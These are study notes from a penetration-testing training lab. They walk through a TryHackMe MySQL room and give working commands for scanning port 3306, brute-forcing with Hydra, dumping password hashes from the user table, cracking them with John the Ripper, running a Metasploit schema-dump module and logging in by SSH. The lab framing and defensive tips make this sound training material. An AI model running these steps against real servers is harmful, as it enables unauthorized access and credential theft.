MYSQL Database Penetration Testing | COMPTIA Pentest+ TryHackMe Network Services 2

The post provides an in-depth walkthrough of exploiting and enumerating MySQL Services as part of a penetration testing exercise, specifically focusing on techniques taught in TryHackMe’s Network Services 2 room.

COMPTIA Cyber Security Analyst (CySA+) Study Notes

COMPTIA Pentest+ Study Notes

Overview

Task 10: Automated exploitation using Metasploit modules.

Objective: Learn how to enumerate, exploit, and extract information from a MySQL database service.

Tasks Covered:

Task 8: MySQL Basics and Enumeration.

Task 9: Manual exploitation without Metasploit.

Key Topics and Techniques

1. Understanding MySQL

• What is MySQL?
  • A relational database management system (RDBMS) used to host and manage structured data.
  • Tables are interconnected through primary keys.
• Applications:
  • Backend storage for applications.
  • Examples: Facebook uses MySQL for analytics and data management.

2. Enumeration

Identify MySQL service running on port 3306 using Nmap:

Initial Port Scan:

nmap -sV -A -p 3306 <target_IP>

• Output:
  • Confirms the MySQL version (e.g., 5.7.29).
  • Verifies the service is active.

Login Credentials:

• If credentials are known (e.g., root:password), directly log in:

mysql -u root -p -h <host>

If credentials are unknown:

• Attempt brute force using tools like Hydra:

hydra -l root -P <wordlist> -s 3306 -f <host> mysql

3. Manual Exploitation

1. Logging into MySQL:
   • Use provided credentials (root:password).
   • Verify version and variables:

SHOW VARIABLES LIKE 'version%';

Enumerating Databases and Tables:

• List databases:

SHOW DATABASES;

Select and list tables in a database:

USE mysql;
SHOW TABLES;

Query specific tables (e.g., user table):

cSELECT * FROM user;

Extract hashed passwords and usernames for further exploitation.

Hash Cracking:

• Save extracted hashes into a file:

echo "<hash>" > hash.txt

Use John the Ripper or Hashcat to crack hashes:

john --wordlist=<wordlist> hash.txt

4. Automated Exploitation with Metasploit

1. Search for MySQL Modules:
   • Use Metasploit to identify applicable modules:

search mysql

• Example modules:
  • auxiliary/scanner/mysql/mysql_version: Retrieves MySQL version.
  • auxiliary/admin/mysql/mysql_schema_dump: Dumps MySQL schema.

Executing Exploits:

• Set options:

use auxiliary/admin/mysql/mysql_schema_dump
set RHOSTS <target_IP>
set USERNAME root
set PASSWORD <password>
run

Extract:

• Database names.
• Table structures.
• User credentials.

Practical Example

• Objective: Crack a user password and gain shell access via SSH.

1. Extract user hashes from the user table.
2. Crack the hash using a wordlist (e.g., rockyou.txt).
3. SSH into the system using the cracked credentials:

ssh <username>@<host_IP>

Key Findings and Outputs

1. MySQL Version:
   • Retrieved via SHOW VARIABLES.
2. Databases:
   • Enumerated databases include information_schema, mysql, and test.
3. User Table:
   • Extracted usernames and password hashes.

Summary

• Manual Method:
  • Efficient for learning and small-scale testing.
  • Commands provide granular control.
• Automated Method:
  • Useful for testing multiple targets or saving time.
  • Metasploit simplifies enumeration and exploitation.

Recommendations

1. Defense:
   • Use strong, unique passwords.
   • Restrict access to MySQL services (bind to localhost or use firewalls).
   • Regularly patch MySQL installations.
2. Learning:
   • Practice both manual and automated methods to understand the underlying process and tools.

Room Answers

Video Walkthrough